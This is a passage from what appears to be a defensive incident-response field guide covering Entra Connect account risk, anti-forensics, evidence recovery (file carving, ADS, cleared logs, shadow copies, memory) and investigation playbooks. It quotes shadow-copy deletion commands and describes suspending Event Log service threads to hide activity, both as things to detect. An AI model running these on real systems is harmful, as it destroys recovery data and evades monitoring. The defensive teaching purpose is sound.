The cloud-facing account — visible in Entra ID as "On-Premises Directory Synchronization Service Account," assigned the **Directory Synchronization Accounts** role — is not a narrow, purpose-built role either. It carries privileges in an undocumented internal synchronization API, and security research has demonstrated paths from that role to Global Administrator. Password writeback (where a cloud-side password change syncs back to on-prem AD) is a legitimate feature of the same account, meaning compromise here can also mean the ability to push a chosen password to an on-prem account, not just read data from one.

5.6.4 Why this doesn't get the same attention a DC does

Domain Controllers are reflexively treated as tier-0 infrastructure — locked down, monitored, patched aggressively. The Entra Connect server frequently isn't held to the same standard, partly because it's conceptually filed under "identity sync tooling" rather than "authentication infrastructure," even though its actual privilege level says otherwise. Microsoft's own guidance is explicit that this account should never be granted Domain Admin and should run as a Group Managed Service Account with least-privilege scoping — the fact that this needs to be stated as guidance is itself evidence of how often it isn't followed in practice.

5.6.5 Where the evidence lives, and what to check

- **On the server itself:** treat it like a Domain Controller for triage purposes — [process tree baseline](#), [Prefetch/Amcache](#) for execution evidence, and the same [persistence catalog](#) checks you'd run against any tier-0 asset.
- **In Entra ID:** audit changes to the Directory Synchronization Accounts role assignment and any unexpected principal added to it — this is a durable, cloud-side persistence mechanism in its own right, structurally similar in spirit to [AdminSDHolder abuse](#) on the on-prem side.
- **Sign-in activity for the "On-Premises Directory Synchronization Service Account"** outside its normal, automated sync pattern — this account authenticating interactively, or from a location other than the known Entra Connect server, is a strong signal on its own.

Red flag

Any interactive sign-in by the Entra Connect service account, an unexpected principal holding the Directory Synchronization Accounts role, or endpoint-level compromise indicators on the Entra Connect server itself.

5.6.6 Turning this into report language

"The sync server was compromised" understates the exposure unless the reader understands what that server can do. "The compromised host was the organization's Entra Connect server; its on-premises service account holds Replicating Directory Changes All rights — the same directory-replication privilege documented for DCSync attacks — meaning this compromise carries equivalent risk to a Domain Controller compromise, not a lesser one, regardless of the server's 'identity sync' classification in asset inventory" makes the severity legible to a reader who would otherwise reasonably assume a sync utility server is lower-stakes than a DC.

5.6.7 ATT&CK mapping

[T1003.006 \(DCSync\)](#) — the mechanism is identical regardless of which asset the attacker is standing on when they invoke it.

5.6.8 Referenced From

- [Module 6: Cloud Identity \(Entra ID / Hybrid\)](#)
- [Glossary](#)

5.6.9 Sources

- [Microsoft Learn — Microsoft Entra Connect: Accounts and permissions](#)
- [Tenable TechBlog — research on Directory Synchronization Accounts role privilege escalation paths](#)

 August 3, 2026

6. Anti-Forensics & Data Recovery

Anti-Forensics T1070.006

6.1 Anti-Forensics & Data Recovery

Every module before this one assumes the evidence is basically intact — an artifact exists, and the question is how to read it correctly. This module is about the other half of real investigations: an attacker who knows this guide exists too, and takes deliberate steps to destroy, hide, or corrupt the evidence before you get to it — and what's actually still recoverable when they try.

6.1.1 A framework for the "why," not just the "how"

Dr. Marcus Rogers' taxonomy, the most widely cited framework in the anti-forensics literature, sorts every technique into one of four categories by *intent*:

Category	What it means	Examples already in this guide
Data hiding	Conceal information's existence, not just its content	Alternate Data Streams ; steganography, encryption
Artifact wiping	Destroy evidence that would otherwise persist	USN Journal deletion; Prefetch clearing; log clearing
Trail obfuscation	Confuse the investigative process, not just remove evidence	Timestomping (T1070.006); log tampering that inserts <i>false</i> entries rather than just removing true ones
Attacks against the forensic process/tools	Target the analyst's tooling or methodology directly	Anti-VM/sandbox detection in malware; deliberately malformed files designed to crash a specific parser

Knowing which category a technique falls into is more than trivia — it predicts where to look for what survives. Wiping and hiding leave fundamentally different kinds of residue, which is why this module's recovery pages are organized by *technique*, not lumped into one generic "anti-forensics" bucket.

6.1.2 The principle that makes recovery possible at all

Every technique on this page's linked pages relies on the same underlying weakness: **destroying a file system's reference to data is cheap and fast; actually overwriting the underlying bytes on disk is comparatively slow and often skipped.** Deleting a file, clearing a log, or removing a directory entry typically just marks the space as available for reuse — the original bytes remain physically present until something else happens to overwrite that exact location. Every recovery technique in this module — [file carving](#) chief among them — exploits precisely that gap.

6.1.3 What's in this module

- [File Carving](#) — recovering files with no intact filesystem metadata at all, by scanning raw bytes for file signatures
- [Alternate Data Streams](#) — NTFS's built-in data-hiding mechanism, and how to make it visible again
- [Log & Artifact Recovery](#) — what survives log clearing, USN Journal deletion, and a stealthier technique that avoids the obvious "log cleared" event entirely
- [Volume Shadow Copy Recovery](#) — using point-in-time snapshots to recover data as it existed before tampering
- [Memory-Based File Recovery](#) — recovering a file that's gone from disk but was still resident in memory when captured

6.1.4 Referenced From

- [Enterprise DFIR Field Guide](#)

6.1.5 Sources

- Rogers, M. (2006). Anti-forensics presentation, Lockheed Martin / Purdue University — the four-category taxonomy referenced throughout this module
- [SANS Digital Forensics Certifications overview](#) (FOR508 — anti-forensics detection and evidence recovery)

 August 3, 2026

Anti-Forensics

6.2 File Carving

6.2.1 What it is, and why it works at all

File carving recovers files by scanning raw bytes for recognizable file signatures — completely ignoring the filesystem's own metadata (the MFT, directory entries, allocation tables). This matters because most "deletion" doesn't actually erase data: deleting a file in NTFS marks its MFT entry and the clusters it occupied as available for reuse, but the original bytes physically remain on disk until something else happens to write over that exact location. A quick format only clears the file table, not the data; even many purpose-built "secure delete" tools vary widely in whether they actually overwrite what they claim to. Carving exploits the gap between *the filesystem says this space is empty* and *the space is actually empty*.

6.2.2 How it actually works

Most common file formats have a distinctive **header** (magic bytes at the start) and often a **footer** (an end-of-file marker). A carving tool scans a disk image byte-by-byte for these signatures and extracts everything between a header and its corresponding footer (or, for formats without a reliable footer, up to a configured maximum size).

File type	Header (hex)	Footer (hex)
JPEG	FF D8	FF D9
PNG	89 50 4E 47	49 45 4E 44 AE 42 60 82
PDF	25 50 44 46 (%PDF)	25 25 45 4F 46 (%%EOF)
ZIP / Office (docx, xlsx, etc.)	50 4B 03 04 (PK..)	— (use central directory or size estimation)
Windows PE (exe/dll)	4D 5A (MZ)	— (use PE header's own size fields)

Recovered files from pure carving lose their original filenames and metadata by design — the filesystem structures that held that information are exactly what's gone. Recovered output is typically named generically (`file0001.jpg`) and needs to be identified by content, hash, or embedded strings.

6.2.3 The limitation that matters most: fragmentation

Simple header/footer carving assumes a file's data is stored **contiguously** — one unbroken run of clusters. In practice, especially on a disk that's been in use for a while, files frequently fragment into non-contiguous pieces. When that happens, naive carving grabs only the first fragment and produces a truncated or corrupted result. Filesystem-aware carving (tools that reference remaining MFT structure, even partial, rather than ignoring it entirely) handles this meaningfully better than pure signature-based carvers — worth knowing which category a given tool falls into before trusting a "no results" outcome.

6.2.4 Tools

Tool	Approach	Notes
PhotoRec (CGSecurity, ships with TestDisk)	Pure signature carving, 480+ file type signatures	Most forgiving on damaged media; filenames always lost
Foremost (originally US Air Force OSI)	Config-file-driven header/footer matching	Compact, scriptable, easy to add custom signatures
Scalpel	A faster fork of Foremost, skips irrelevant regions	Same config style as Foremost
bulk_extractor	A different approach entirely — extracts <i>content patterns</i> (emails, URLs, BTC addresses, search queries) rather than whole files	Genuinely useful for a different question: not "recover this file" but "what fragments of text or identifiers exist anywhere on this disk, allocated or not"
Autopsy	Integrated carving module built on SleuthKit	Good default when you're already working in a full case-management tool rather than single-purpose CLI tools

6.2.5 How you actually use this in an investigation

Carving is a last resort in terms of sequencing, not importance — reach for it after normal filesystem-based recovery (checking `$Recycle.Bin` directly for straightforward deletions, reviewing `$MFT` for orphaned-but-still-referenced entries) has been exhausted, because it's slower and produces less contextualized output. The point where it becomes essential: when an attacker has taken deliberate steps — secure-delete tooling, format, direct manipulation of MFT entries — that go beyond simple deletion. If the file you need existed and was later removed, and normal artifact review shows no trace of it, carving unallocated space is often the only remaining path to the actual content (as opposed to just evidence that *something* happened, which artifacts like [Prefetch](#) or the [USN Journal](#) may still provide even after the file itself is gone).

Always image first — never carve against a live, writable disk. A drive with unstable sectors should be imaged with a tool built for that specifically (`ddrescue` , which logs and retries bad sectors rather than failing outright) before any carving attempt.

6.2.6 Turning this into report language

Carved output on its own is weak evidence — "a JPEG matching this signature was recovered from unallocated space" doesn't establish when it was created, by whom, or that it's even related to the incident. What makes a carved file reportable is corroboration: a recovered file whose content matches a hash already seen elsewhere in the investigation (an [Amcache](#) SHA-1, a file named in [Prefetch](#)) moves from "a curiosity found on disk" to "confirmed recovery of the deleted tool referenced in Finding 2." State the corroboration explicitly — per [Reporting & Communication](#), a finding is only as strong as what independently confirms it.

6.2.7 Referenced From

- [Anti-Forensics & Data Recovery](#)
- [Memory-Based File Recovery](#)

6.2.8 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR500/FOR508 — file carving and data recovery methodology)
- CGSecurity — PhotoRec / TestDisk documentation

6.3 Alternate Data Streams (ADS)

6.3.1 What it is, and why it exists at all

NTFS allows a single file to hold multiple named data streams — the "primary" stream is the file content you'd normally see, but a file can carry additional, named streams (`filename:streamname`) that are completely invisible to File Explorer, a default `dir` listing, and — critically — many security tools that only scan a file's primary stream. The feature exists for legitimate reasons (originally added for compatibility with Apple's Hierarchical File System, and still used today for things like storing thumbnail data), which is exactly why it's not disabled or unusual to encounter — making a malicious stream blend in rather than stand out.

6.3.2 The one you'll encounter constantly, and it's not malicious

`Zone.Identifier` is the single most common ADS you'll see in any investigation, and it's entirely benign — Windows automatically writes it to any file downloaded from the internet (the "Mark of the Web"), recording the source zone and, often, the actual originating URL. Precisely because it's created automatically and consistently, it's genuinely useful: a `Zone.Identifier` stream on a suspicious executable can confirm it was downloaded (versus, say, copied from removable media) and sometimes reveal exactly where from, even after other download-source evidence is gone.

6.3.3 Data hiding: the actual anti-forensics use

Beyond `Zone.Identifier`, ADS gets used deliberately to hide data — most commonly, an entire secondary executable or script stashed inside a stream attached to an innocuous host file, invisible to a normal directory browse and often skipped by security tooling that only inspects primary streams.

6.3.4 How to make streams visible

```
dir /r
```

reveals ADS in a standard directory listing (Vista and later). For programmatic enumeration and reading:

```
Get-Item -Path .\suspicious.txt -Stream *
Get-Content -Path .\suspicious.txt -Stream <stream-name>
```

6.3.5 Where else the evidence lives

- **\$MFT** — a file's MFT record enumerates all of its `$DATA` attributes, named and unnamed; an entry with an unusually high attribute count for what should be a simple file is worth a direct MFT-level look, independent of what a directory listing shows.
- **USN Journal** — ADS creation and modification generate journal entries just like any other file write, giving you a timeline of when a stream was created even without knowing to look for it in advance.
- Note the one hard limit: an ADS **cannot be deleted independently of its host file** — the only ways to remove one are to delete the entire file or overwrite the stream directly. This means an ADS, once created, persists for the life of its host file — which cuts both ways for an attacker (durable hiding spot) and an investigator (it's not going anywhere once you know to check).

6.3.6 Normal baseline vs. red flag

`Zone.Identifier` streams on downloaded files are baseline, full stop — expect them constantly and don't treat presence alone as noteworthy. What's worth flagging: any **other** stream name, especially one attached to a file type that has no legitimate reason to carry one (a plain text or log file with a stream containing a PE header), or a stream whose content, once read, is itself executable or script content.

**Red flag**

A non- `Zone.Identifier` stream on any file, especially one whose content resolves to executable code, a script, or an `MZ` header.

6.3.7 Turning this into report language

"A hidden file was found" is vague; "the file `invoice.pdf` carried an alternate data stream named `:svc.exe` (170 KB, PE executable, `MZ` header confirmed), created per USN Journal analysis at [timestamp] — a technique consistent with NTFS Alternate Data Stream data hiding (T1564.004)" gives a technical reader everything needed to verify the finding independently, and gives an executive reader a clear, concrete image: a normal-looking file was secretly carrying a hidden program.

6.3.8 ATT&CK mapping

[T1564.004 \(Hide Artifacts: NTFS File Attributes\)](#).

6.3.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Anti-Forensics & Data Recovery](#)
- [Glossary](#)

6.3.10 Sources

- SANS Internet Storm Center — "Alternate Data Streams: Adversary Defense Evasion and Detection" (guest diary)
- MITRE ATT&CK — T1564.004

August 3, 2026

Anti-Forensics

6.4 Log & Artifact Recovery

6.4.1 What survives log clearing, and why

When Event ID 1102 fires — the Security log was cleared — the underlying `.evtx` file is rewritten from scratch, but the *old* file's data isn't securely wiped. Its clusters simply become unallocated, available for reuse but not yet overwritten. Three separate avenues can recover what was in it:

1. **NTFS metadata journals.** The `$LogFile` transaction log and the **USN Journal** may retain references to the original `.evtx` file's data-run locations, letting you find the original clusters before anything else reuses them.
2. **Volume Shadow Copies.** A shadow copy taken before the clearing event may contain a complete, intact pre-clearing snapshot of the log file — often the fastest and most complete recovery path when one exists.
3. **Direct carving.** EVTX files are organized into 64KB chunks, each beginning with a distinctive `ElfChnk` signature. Scanning unallocated space for that signature recovers orphaned chunks even with zero filesystem metadata remaining — and because each chunk is largely self-describing (including the `EventRecordID` range it covers), a carved chunk can often be parsed in isolation.

Tools purpose-built for this: `EVTXtract` (Willi Ballenthin) recovers EVTX fragments from raw images, unallocated space, or memory captures directly. `bulk_extractor`'s dedicated EVTX-carving plugin does the same as part of a broader carving pass. Once you have carved chunks, `EvtxECmd` (the same Eric Zimmerman tool used for normal EVTX parsing elsewhere in this guide) can parse them directly.



Why full recovery isn't guaranteed

EVTX records aren't fully self-contained — the format reuses "templates" across nearby records to save space, and a record's complete meaning sometimes depends on template data stored elsewhere in the same chunk. If that template data is itself corrupted or only partially recovered, some records may parse incompletely even when their raw bytes were successfully carved. Partial recovery is still far better than none, but don't expect every carved chunk to yield a perfectly clean result.

6.4.2 A stealthier technique that skips 1102 entirely

A more sophisticated attacker doesn't clear the log at all — clearing is loud specifically *because* it generates the very 1102 event this guide already teaches you to alert on. Instead: **suspend the Windows Event Log service's threads**, do whatever noisy thing needs doing, then resume them (the public tool `Invoke-Phantom` implements exactly this). While suspended, events generated elsewhere in the OS queue up in ETW but never get written to the `.evtx` file — no 1102, no cleared-log event at all, just a gap.

Detection doesn't rely on the log itself, for the obvious reason — two independent checks instead:

- **EventRecordID continuity.** Each EVTX chunk header records a first and last `EventRecordID`, and the counter should be strictly monotonic across the whole channel. Suspension doesn't reset this counter (the *service* is suspended, not the underlying ETW provider counting events) — but timestamps will show an unexplained gap with zero events from providers that are normally constantly active, which is glaringly obvious on something like a Domain Controller's Security log.
- **The event log service's own lifecycle channel.** `Microsoft-Windows-EventLog%40operational` logs the health of the logging service itself — its heartbeat pattern breaking is a signal independent of anything that could be suppressed by suspending the *other* channels' writers.



Red flag

A gap in `EventRecordID` continuity with no corresponding 1102 event, especially on a host that should be generating constant activity through the gap window.

6.4.3 How you actually use this in an investigation

Priority order when you discover a cleared or gapped log: check for a Volume Shadow Copy first (fastest, most complete if one exists and predates the clearing), then check `$LogFile` /USN Journal for surviving cluster references, then fall back to direct `ElfChnk` carving if the first two come up empty or the timeframe is too old for shadow copies to cover. For the thread-suspension variant specifically, the `EventRecordID` continuity check should be a standing habit on any host where you're relying heavily on Security log completeness — not just something you reach for once you already suspect tampering.

6.4.4 Turning this into report language

"Log records could not be located for the period in question" is a dead end in a report — it invites the reader to wonder whether you looked hard enough. "The Security log was cleared at [timestamp] (Event ID 1102); records for the preceding six hours were recovered via chunk-carving of unallocated space, recovering 340 of an estimated 412 events based on `EventRecordID` continuity, sufficient to reconstruct the attacker's authentication sequence" is a finding that shows the work and states its own completeness honestly — which per [Reporting & Communication](#) is exactly the level of specificity a technical reader needs to trust the conclusion built on top of it.

6.4.5 Referenced From

- [ATT&CK Coverage Map](#)
- [Anti-Forensics & Data Recovery](#)
- [Volume Shadow Copy Recovery](#)
- [Glossary](#)

6.4.6 Sources

- EVTExtract (Willi Ballenthin) and `bulk_extractor` EVTX-carving plugin documentation
- [SANS Digital Forensics Certifications overview](#) (FOR508 — log tampering detection and recovery)

🕒 August 3, 2026

Anti-Forensics

6.5 Volume Shadow Copy Recovery

6.5.1 What it is, and why it's a recovery goldmine

Volume Shadow Copy Service (VSS) creates point-in-time snapshots of a volume — originally for Windows' own System Restore and "Previous Versions" features, but forensically, a shadow copy is a **complete snapshot of the filesystem as it existed at that moment**, sitting right there on the same disk. If an attacker deleted a file, cleared a log, or modified the registry *after* a shadow copy was taken, that shadow copy may still hold the pre-tampering version — untouched by anything that happened afterward.

This is exactly why [the Ransomware playbook](#) flags shadow-copy deletion (`vssadmin delete shadows`, `wmic shadowcopy delete`) as a red flag in its own right: a competent attacker knows shadow copies are a recovery path and tries to remove them specifically to prevent it. Their absence doesn't mean nothing to recover — it means check whether *older* shadow copies, taken before the deletion command ran, still survive.

6.5.2 How to enumerate and mount one

```
vssadmin list shadows
```

(add `/for=C:` to scope to a specific volume) lists available shadow copies, each with a device path resembling `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\`.

Mount a specific one as a browsable directory:

```
mklink /d C:\VSC_Analysis \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\
```

The trailing backslash on the device path is not optional — omitting it is the most common reason this command silently fails to produce a usable link. Once mounted, browse `C:\VSC_Analysis` with any normal tool exactly as if it were a live drive — it's read-only by nature of how VSS works, so there's no risk of contaminating the snapshot.

6.5.3 Working with shadow copies inside a forensic image

`vssadmin` requires a live, mounted Windows volume — for an offline forensic image, `libvshadow` (Joachim Metz — the same author as the [Plaso](#) project) is the standard tool, ships by default on the SIFT Workstation:

```
vshadowinfo -f disk.dd          # enumerate shadow copies within an image, no mounting needed
vshadowmount -f disk.dd mountdir/ # mount each shadow copy to its own subdirectory for analysis
```

6.5.4 What to actually pull once you have access

- The specific file(s) you already know are relevant, at their pre-tampering state — direct comparison against the current, tampered version can itself become evidence of what changed.
- A copy of `.evtx` log files if the live ones were [cleared](#) — see that page's recovery-avenue table; a surviving shadow copy is usually the fastest and most complete option when one exists.
- Registry hives as they existed at snapshot time, for comparing against current [persistence](#) findings to establish when a change was actually made.

6.5.5 The honest limitation

Shadow copies are created on a schedule (or triggered by specific system events, like before a Windows Update), not continuously — there's no guarantee one exists from close enough to the incident window to be useful, and Windows automatically ages out and deletes older shadow copies as disk space is needed for new ones regardless of any attacker action. Check what's available before building an investigative plan that depends on it.

6.5.6 Turning this into report language

"A prior version of the file was reviewed" understates what actually happened and how it's justified. "A Volume Shadow Copy created at [timestamp], predating the attacker's first confirmed access by approximately six hours, was mounted and found to contain an intact copy of `Groups.xml` without the malicious GPP modification present in the current version — confirming the GPO tampering occurred after this snapshot and providing a verified pre-compromise baseline" ties the recovery technique directly to a specific, dated conclusion, which is the difference between "we found an old copy" and a defensible timeline anchor.

6.5.7 Referenced From

- [Anti-Forensics & Data Recovery](#)
- [Log & Artifact Recovery](#)
- [Glossary](#)

6.5.8 Sources

- Microsoft Learn — Volume Shadow Copy Service technical reference
- `libvshadow` (Joachim Metz) documentation
- [SANS Digital Forensics Certifications overview](#) (FOR500/FOR508 — Volume Shadow Copy forensics)

 August 3, 2026

Anti-Forensics

6.6 Memory-Based File Recovery

6.6.1 What it is, and why memory succeeds where disk fails

A file that's been deleted, securely wiped, or never fully committed to disk can still be sitting, intact, in memory — if it was open, mapped, or loaded at the moment of [acquisition](#). This is the sharpest illustration of why [Order of Volatility](#) puts memory ahead of disk: an attacker focused entirely on disk-based anti-forensics (secure deletion, [carving](#)-resistant wiping) may not have touched — or even been aware of — the copy still resident in RAM.

6.6.2 Where this applies

- A malicious DLL or executable, memory-mapped into a process, then deleted from disk while the process kept running (or shortly after it exited, before the memory was reclaimed).
- A document opened, read, and closed by an application whose cache or working set still holds the content, even after the file itself was deleted.
- Any file an attacker's own tooling read into memory as part of execution — the memory copy doesn't disappear just because the on-disk original does.

6.6.3 How to actually pull it

Volatility's `windows.dumpfiles` plugin extracts memory-mapped files directly from a capture:

```
vol -f memory.dmp windows.dumpfiles --pid <PID>
```

This works because a memory-mapped file's data pages are tracked the same way any other VAD-backed memory region is — the same underlying structure [vadinfo](#) already reads for injection detection. Extracting a deleted-from-disk file and extracting an injected code region are, mechanically, close cousins of the same technique.

6.6.4 What you get, and its limits

A memory-mapped file recovered this way is frequently **not byte-identical** to the original on-disk file — memory-mapping can involve padding, partial loading (only the pages actually accessed may be resident), or in-memory modification after loading. Treat a memory-recovered file as strong evidence of *content and presence*, and verify anything you plan to state as a precise hash match against other corroborating sources before treating the recovered copy as forensically identical to the original.

6.6.5 How you actually use this in an investigation

This is a targeted technique, not a broad sweep — you reach for it once [process or thread analysis](#) has already identified a specific PID worth extracting from, not as a first move against an entire memory image. The natural sequence: [malware triage](#) flags a process → you determine it loaded or referenced a file that's no longer on disk → `dumpfiles` against that specific PID recovers what's still resident.

6.6.6 Turning this into report language

"The malicious file could not be recovered from disk" is where a lot of investigations would stop — and it's not actually the end of the story if a memory capture exists. "Although the dropped payload was deleted from disk prior to acquisition (confirmed absent via [MFT](#) review), the memory capture of PID 4412 retained the mapped file content, recovered via `windows.dumpfiles` and confirmed to match the SHA-256 hash associated with [known-malicious indicator]" turns a dead end into a confirmed technical finding, and is exactly the kind of detail that justifies why memory acquisition mattered enough to prioritize in the first place.

6.6.7 Referenced From

- [Anti-Forensics & Data Recovery](#)

6.6.8 Sources

- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.dumpfiles`
- [SANS Digital Forensics Certifications overview](#) (FOR508 — memory-based file recovery)

🕒 August 3, 2026

7. Investigation Playbooks

Playbook

7.1 Module 8: Investigation Playbooks

Every playbook below is short on purpose — it's a decision path through Modules 0–7, not a re-explanation of them. Each follows the same shape:

Trigger → Triage questions → Data to pull → Analysis steps → Contain/Eradicate → Recover → Lessons learned

(the PICERL shape from [Module 0](#), applied concretely)

7.1.1 Module status: complete

- [x] [Business Email Compromise \(BEC\)](#)
- [x] [Domain Compromise / Lateral Movement](#)
- [x] [Ransomware](#)
- [x] [Insider Threat](#)
- [x] [Data Exfiltration](#)
- [x] [Phishing \(Initial Access\)](#)
- [x] [Web Shell / Server Compromise](#)

Every playbook above links directly into the specific Knowledge Base pages it depends on — for example, the BEC playbook leans heavily on [Module 6's hybrid account-compromise runbook](#) rather than repeating those steps inline. Where a playbook needs a page that isn't written yet (some Active Directory, Memory Forensics, or PowerShell Forensics detail), it says so directly rather than skipping the reference.

7.1.2 Referenced From

- [The Incident Response Lifecycle](#)
- [Enterprise DFIR Field Guide](#)

🕒 August 3, 2026

Playbook

7.2 Playbook: Business Email Compromise (BEC)

7.2.1 Trigger

A user reports mailbox activity they don't recognize, finance flags a suspicious payment-change request, an external party reports a phishing email that appears to come from inside your organization, or an automated alert fires — impossible travel on a sign-in, a new mailbox rule, an unfamiliar OAuth consent grant.

7.2.2 Triage questions

- Was MFA enabled on the account, and if so, does the sign-in log show it was actually satisfied (vs. bypassed via a legacy protocol or an AiTM phishing proxy)?
- Are there any new inbox rules, forwarding configurations, or delegate-access grants?
- Are there any new OAuth application consents?
- Did the attacker send mail from this account — to internal recipients (further lateral phishing) or external ones (fraud attempts)?
- Was any financial transaction initiated, approved, or modified while the account was compromised?

7.2.3 Data to pull

- Entra ID sign-in logs for the account (location, device, client app, MFA status)
- Unified Audit Log: `New-InboxRule`, `Set-InboxRule`, `Set-Mailbox` (forwarding), `Add-MailboxPermission`
- Consent/OAuth grant history — see [OAuth Consent Grants](#)
- Message trace for anything sent from the account during the suspected compromise window
- MFA method registration history (a newly added authenticator app or phone number is the attacker locking in a second factor of their own)

7.2.4 Analysis

Anchor everything to the earliest anomalous sign-in, then check what changed in the minutes/hours after it — mailbox rule creation and OAuth consent grants typically follow very shortly after initial access, since they're how the attacker converts a one-time credential theft into standing access. Review any mail sent from the account during the window for both outbound fraud attempts and further phishing against internal contacts.

7.2.5 Contain / Eradicate

Follow the [hybrid account-compromise runbook](#) in full: disable, reset the password (twice, if hybrid-joined), and run `Revoke-MgUserSignInSession` — GUI-only remediation leaves standing token access intact. Then clear the specific persistence the attacker planted:

- Remove any [mailbox forwarding rules or delegate grants](#)
- Revoke any [malicious OAuth consent](#)
- Remove any MFA method the attacker registered

7.2.6 Recover

Re-enable the account only after the above is confirmed complete, with heightened sign-in monitoring for a defined follow-up period. If any fraudulent email was sent to external parties, notify them directly — don't rely on them to figure it out independently.

7.2.7 Lessons learned

Was MFA actually enforced for this account, or was it exempted/using a legacy auth protocol that bypasses it? Would Conditional Access requiring a compliant or hybrid-joined device have blocked the initial sign-in? If a financial fraud attempt succeeded even partially, that's a process gap (payment-detail changes should require out-of-band verbal verification) as much as a technical one.

7.2.8 Referenced From

- [Module 8: Investigation Playbooks](#)
- [Playbook: Phishing \(Initial Access\)](#)

7.2.9 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508/FOR509 — cloud account compromise response)
- NIST SP 800-61 Rev. 2 (see [Module 0](#) for the phase structure this playbook follows)

 August 3, 2026

Playbook

7.3 Playbook: Domain Compromise / Lateral Movement

7.3.1 Trigger

A Defender for Identity alert (DCSync pattern, Golden/Silver Ticket indicators, Kerberoasting), a privileged account authenticating from an unexpected host or at an unusual hour, or a pattern of one account authenticating across many hosts in a short window — the hallmark of an attacker moving laterally with a stolen credential.

7.3.2 Triage questions

- Which accounts show authentication to hosts they don't normally touch?
- Is there evidence of credential access — unusual handles opened to `lsass.exe` (see [Baseline Process Trees](#))?
- Are there DCSync-pattern replication requests originating from a non-Domain-Controller host?
- Can you identify patient zero — the first host in the chain?

7.3.3 Data to pull

- Security 4624/4625/4648/4672 across Domain Controllers and every host the suspect account touched
- Sysmon Event ID 10 (`ProcessAccess`) fleet-wide, filtered to `lsass.exe` as the target
- [Amcache](#) and [Prefetch](#) on each affected host, for evidence of credential-theft or lateral-movement tooling
- Replication metadata from the [Active Directory module](#) — `repadmin` output and replication-attribute timestamps

7.3.4 Analysis

Build an authentication timeline for the compromised account across every host, working backward from the most recent activity to identify patient zero. Cross-reference `lsass.exe` access events against the [baseline process tree](#) — a credential-theft tool accessing `lsass.exe` shows up as a process with no business reason to touch it, from a parent that has no business launching it. Confirm whether DCSync or ticket-forging indicators point to full domain compromise (attacker has, or can trivially get, Domain Admin-equivalent access) rather than a single-host incident.

7.3.5 Contain

Isolate every confirmed-affected host from the network before doing anything else. Disable every confirmed-compromised account. **Do not immediately reset** `krbtgt` without a coordinated plan — done carelessly, a single reset creates confusion during an already-chaotic incident; done as a rushed panic action, it can also tip off an attacker still active in the environment.

7.3.6 Eradicate

Reset the `krbtgt` account's password **twice**, with time for replication to converge between resets — the same underlying logic as the [password-reset-twice guidance in Module 6](#): a single reset can leave a window where old key material is still valid somewhere in the domain, which is exactly what a Golden Ticket exploits. Remove every [persistence mechanism](#) found on every affected host — a domain-wide incident requires a domain-wide sweep, not just cleanup of patient zero.

7.3.7 Recover

Re-enable accounts and hosts in stages, with monitoring in place, rather than all at once. Rotate credentials for every account with any plausible exposure, not just the ones with confirmed misuse.

7.3.8 Lessons learned

Was there a credential-tiering model in place (workstation-tier accounts never used for server or DC administration)? Where did detection actually catch this — and how much lateral movement happened before it did? That gap is usually the most actionable finding in the whole incident.

7.3.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 8: Investigation Playbooks](#)

7.3.10 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — Active Directory incident response)
- NIST SP 800-61 Rev. 2 (see [Module 0](#) for the phase structure this playbook follows)

 August 3, 2026

Playbook

7.4 Playbook: Ransomware

7.4.1 Trigger

Mass file encryption alerts from EDR, a ransom note appearing across multiple hosts or shares, shadow-copy deletion activity (`vssadmin delete shadows` , `wmic shadowcopy delete`), or backup infrastructure suddenly becoming unreachable or showing deletion activity.

7.4.2 Triage questions

- How many hosts are affected, and is encryption still actively spreading right now?
- What was the initial access vector, and is the entry point still open?
- Is there evidence of data exfiltration *before* encryption began (double-extortion is now the norm, not the exception) — large outbound transfers in the hours/days prior?
- Were backups themselves targeted, deleted, or encrypted?

7.4.3 Data to pull

- [Process trees](#) and [Prefetch/Amcache](#) on patient zero, to identify the encryptor binary and how it arrived
- [Scheduled Tasks](#), [Services](#), and other [persistence](#) mechanisms used to propagate across the environment
- Network connection data (`netstat` in [memory forensics](#)) for both lateral spread and any exfiltration channel
- Backup system logs and current backup integrity status

7.4.4 Analysis

Identify the strain if possible (ransom note format, file extension, encryption tooling behavior) since it can inform expected TTPs and whether decryption is publicly known to be possible. Map the full lateral-movement path from initial access to mass encryption — this is almost always a multi-stage intrusion where encryption is the *final*, loudest step, not the first one. Determine definitively whether data left the environment before encryption; this changes the incident's classification and notification obligations regardless of whether a ransom is ever considered.

7.4.5 Contain

Isolate every affected host from the network immediately — segment aggressively rather than conservatively while scope is still being established. Disable accounts confirmed or suspected compromised. Preserve evidence (memory captures, disk images) on representative affected hosts *before* any cleanup or reimaging destroys it — the pressure to restore service fast is real, but a fully wiped fleet with no forensic evidence makes root-cause and full-scope determination much harder, if not impossible.

7.4.6 Eradicate

This requires a full-environment sweep, not spot-cleaning: identify and remove every instance of the encryptor and every persistence mechanism across every touched host — see the [Persistence Catalog](#) systematically rather than relying on what's already been found. Reset credentials for every account with plausible exposure. Whether to engage with the ransom demand at all is a business and legal decision involving leadership and outside counsel, not a technical one — this guide doesn't take a position on it.

7.4.7 Recover

Restore only from backups confirmed clean and predating the intrusion's known start — restoring from a backup taken *during* the dwell-time window can silently reintroduce the attacker's access. Where confidence in a host's cleanliness is in doubt, rebuild rather than clean.

7.4.8 Lessons learned

Were backups actually immutable/offline, or reachable (and therefore vulnerable) from the production network? Did network segmentation limit spread the way it was designed to, or did the attacker move through it unimpeded? What was the initial vector, and is that specific gap now closed?

7.4.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Malware Triage Methodology](#)
- [Module 8: Investigation Playbooks](#)
- [Volume Shadow Copy Recovery](#)

7.4.10 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — ransomware response methodology)
- CISA — StopRansomware guidance and response checklists
- NIST SP 800-61 Rev. 2 (see [Module 0](#) for the phase structure this playbook follows)

🕒 August 3, 2026

Playbook

7.5 Playbook: Insider Threat

7.5.1 Trigger

A DLP alert on unusual data movement, an HR or Legal referral (often tied to a departing employee or a workplace dispute), or an access pattern clearly outside someone's normal baseline — after-hours access to systems unrelated to their role, for example.

